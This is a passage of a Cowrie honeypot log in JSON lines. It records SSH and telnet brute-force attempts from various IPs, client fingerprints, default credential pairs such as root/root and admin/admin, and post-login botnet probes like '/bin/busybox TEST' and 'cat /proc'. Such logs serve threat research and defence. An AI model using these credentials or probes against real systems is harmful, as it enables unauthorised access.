etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:06:52.334529Z","src_ip":"148.216.28.11","session":"f1360be4cca0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:06:52.633825Z","src_ip":"148.216.28.11","session":"f1360be4cca0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00183773040771,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:06:53.266522Z","src_ip":"134.209.8.29","session":"3bcf01767ea5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:06:53.702720Z","src_ip":"148.216.28.11","session":"f1360be4cca0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":35696,"dst_ip":"159.203.135.109","dst_port":23,"session":"60b6767b4b1f","protocol":"telnet","message":"New connection: 134.209.8.29:35696 (159.203.135.109:23) [session: 60b6767b4b1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:06:53.707091Z"}
{"eventid":"cowrie.session.connect","src_ip":"148.216.28.11","src_port":35312,"dst_ip":"10.17.0.5","dst_port":22,"session":"bec2e05bfa78","protocol":"ssh","message":"New connection: 148.216.28.11:35312 (10.17.0.5:22) [session: bec2e05bfa78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:06:53.767834Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:06:53.772863Z","src_ip":"148.216.28.11","session":"bec2e05bfa78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":0.08252811431884766,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:06:53.789543Z","src_ip":"134.209.8.29","session":"60b6767b4b1f","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:06:53.840428Z","src_ip":"148.216.28.11","session":"bec2e05bfa78","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"3245gs5662d34","message":"login attempt [steam/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:06:54.145699Z","src_ip":"148.216.28.11","session":"bec2e05bfa78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:06:54.215075Z","src_ip":"148.216.28.11","session":"1b2d6a9784cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:06:54.219699Z","src_ip":"148.216.28.11","session":"bec2e05bfa78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":49870,"dst_ip":"159.203.135.109","dst_port":23,"session":"794b79a89f60","protocol":"telnet","message":"New connection: 134.209.8.29:49870 (159.203.135.109:23) [session: 794b79a89f60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:06:54.829293Z"}
{"eventid":"cowrie.session.closed","duration":0.4383068084716797,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:06:55.267488Z","src_ip":"134.209.8.29","session":"794b79a89f60","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.171","src_port":59800,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b870ecc3561","protocol":"telnet","message":"New connection: 176.65.139.171:59800 (10.17.0.5:23) [session: 4b870ecc3561]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:06:56.813374Z"}
{"eventid":"cowrie.session.closed","duration":0.004759311676025391,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:06:56.818027Z","src_ip":"176.65.139.171","session":"4b870ecc3561","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":49894,"dst_ip":"159.203.135.109","dst_port":23,"session":"901c39887a58","protocol":"telnet","message":"New connection: 134.209.8.29:49894 (159.203.135.109:23) [session: 901c39887a58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:06:56.880398Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.171","src_port":59806,"dst_ip":"10.17.0.5","dst_port":23,"session":"91ac9e2f13e0","protocol":"telnet","message":"New connection: 176.65.139.171:59806 (10.17.0.5:23) [session: 91ac9e2f13e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:06:56.891156Z"}
{"eventid":"cowrie.session.closed","duration":41.21205687522888,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:06:57.080375Z","src_ip":"134.209.8.29","session":"5ad8394d5ea4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"","message":"login attempt [root/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:06:57.392224Z","src_ip":"176.65.139.171","session":"91ac9e2f13e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.5009973049163818,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:06:58.392219Z","src_ip":"176.65.139.171","session":"91ac9e2f13e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.171","src_port":59814,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5617724fdfe","protocol":"telnet","message":"New connection: 176.65.139.171:59814 (10.17.0.5:23) [session: f5617724fdfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:06:58.470439Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:06:58.971364Z","src_ip":"176.65.139.171","session":"f5617724fdfe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.6041460037231445,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:06:59.484443Z","src_ip":"134.209.8.29","session":"901c39887a58","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.22.63.98","src_port":56912,"dst_ip":"159.203.135.109","dst_port":22,"session":"c38417860b7c","protocol":"ssh","message":"New connection: 165.22.63.98:56912 (159.203.135.109:22) [session: c38417860b7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:06:59.953653Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:06:59.958416Z","src_ip":"165.22.63.98","session":"c38417860b7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":1.5013527870178223,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:06:59.971444Z","src_ip":"176.65.139.171","session":"f5617724fdfe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.171","src_port":59816,"dst_ip":"10.17.0.5","dst_port":23,"session":"1daff523d48a","protocol":"telnet","message":"New connection: 176.65.139.171:59816 (10.17.0.5:23) [session: 1daff523d48a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:07:00.050882Z"}
{"eventid":"cowrie.session.closed","duration":47.409794092178345,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:07:00.205626Z","src_ip":"134.209.8.29","session":"a19d9e77db04","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:07:00.210544Z","src_ip":"165.22.63.98","session":"c38417860b7c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:07:00.551070Z","src_ip":"176.65.139.171","session":"1daff523d48a","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:07:00.602380Z","src_ip":"176.65.139.171","session":"1daff523d48a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.233.64.34","src_port":40010,"dst_ip":"159.203.135.109","dst_port":23,"session":"c056643ab0cb","protocol":"telnet","message":"New connection: 194.233.64.34:40010 (159.203.135.109:23) [session: c056643ab0cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:07:00.609053Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678qwe","message":"login attempt [root/12345678qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:07:01.184948Z","src_ip":"165.22.63.98","session":"c38417860b7c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo SHELL_TEST","message":"CMD: echo SHELL_TEST","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:07:01.551320Z","src_ip":"176.65.139.171","session":"1daff523d48a","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"/bin/busybox TEST","message":"CMD: /bin/busybox TEST","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:07:02.051647Z","src_ip":"176.65.139.171","session":"1daff523d48a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:07:02.423156Z","src_ip":"165.22.63.98","session":"c38417860b7c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc","message":"CMD: cat /proc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:07:02.651628Z","src_ip":"176.65.139.171","session":"1daff523d48a","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"./","message":"CMD: ./","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:07:03.251540Z","src_ip":"176.65.139.171","session":"1daff523d48a","protocol":"telnet"}
{"eventid":"cowrie.command.failed","input":"./ ","message":"Command not found: ./ ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:07:03.256237Z","src_ip":"176.65.139.171","session":"1daff523d48a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":49886,"dst_ip":"159.203.135.109","dst_port":23,"session":"19cb8e21ed04","protocol":"telnet","message":"New connection: 134.209.8.29:49886 (159.203.135.109:23) [session: 19cb8e21ed04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:07:03.267495Z"}
{"eventid":"cowrie.session.closed","duration":0.25924205780029297,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:07:03.526629Z","src_ip":"134.209.8.29","session":"19cb8e21ed04","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":47020,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b3bc673920c","protocol":"telnet","message":"New connection: 134.209.8.29:47020 (159.203.135.109:23) [session: 7b3bc673920c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:07:03.707943Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/8a6ec7b5e46a3a9e5ee837394a2bb870a78f5f16ea86f1f33271447f9eed1860","size":565,"shasum":"8a6ec7b5e46a3a9e5ee837394a2bb870a78f5f16ea86f1f33271447f9eed1860","duplicate":true,"duration":"3.3","message":"Closing TTY Log: var/lib/cowrie/tty/8a6ec7b5e46a3a9e5ee837394a2bb870a78f5f16ea86f1f33271447f9eed1860 after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:07:03.852302Z","src_ip":"176.65.139.171","session":"1daff523d48a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.8166656494140625,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:07:03.867430Z","src_ip":"176.65.139.171","session":"1daff523d48a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.287158727645874,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:07:06.994959Z","src_ip":"134.209.8.29","session":"7b3bc673920c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.1810417175293,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:07:07.216715Z","src_ip":"134.209.8.29","session":"ef62cbd62fe4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.79.64.126","src_port":50345,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd63f677cc0f","protocol":"telnet","message":"New connection: 41.79.64.126:50345 (159.203.135.109:23) [session: bd63f677cc0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:07:07.921734Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":47032,"dst_ip":"159.203.135.109","dst_port":23,"session":"c7c6ef5f6abb","protocol":"telnet","message":"New connection: 134.209.8.29:47032 (159.203.135.109:23) [session: c7c6ef5f6abb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:07:07.967673Z"}
{"eventid":"cowrie.session.closed","duration":43.5568265914917,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:07:09.195234Z","src_ip":"134.209.8.29","session":"2ff6e79ef840","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.26650309562683,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:07:09.227995Z","src_ip":"134.209.8.29","session":"93efa1b936ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.235.176","src_port":60918,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb1a0bcea6c0","protocol":"ssh","message":"New connection: 103.189.235.176:60918 (159.203.135.109:22) [session: bb1a0bcea6c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:07:11.411536Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:07:11.544654Z","src_ip":"103.189.235.176","session":"bb1a0bcea6c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:07:11.854746Z","src_ip":"103.189.235.176","session":"bb1a0bcea6c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"madmin","password":"madmin","message":"login attempt [madmin/madmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:07:13.056907Z","src_ip":"103.189.235.176","session":"bb1a0bcea6c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:07:14.449928Z","src_ip":"103.189.235.176","session":"bb1a0bcea6c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.95.157.171","src_port":47636,"dst_ip":"10.17.0.5","dst_port":22,"session":"5907fefa3554","protocol":"ssh","message":"New connection: 150.95.157.171:47636 (10.17.0.5:22) [session: 5907fefa3554]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:07:15.021109Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:07:15.031289Z","src_ip":"150.95.157.171","session":"5907fefa3554","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:07:15.182062Z","src_ip":"150.95.157.171","session":"5907fefa3554","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admina","message":"login attempt [root/admina] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:07:15.789552Z","src_ip":"150.95.157.171","session":"5907fefa3554","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.141.71.166","src_port":38132,"dst_ip":"159.203.135.109","dst_port":22,"session":"a11dabe2a9a5","protocol":"ssh","message":"New connection: 187.141.71.166:38132 (159.203.135.109:22) [session: a11dabe2a9a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:07:16.093651Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:07:16.098040Z","src_ip":"187.141.71.166","session":"a11dabe2a9a5","protocol":"ssh"}
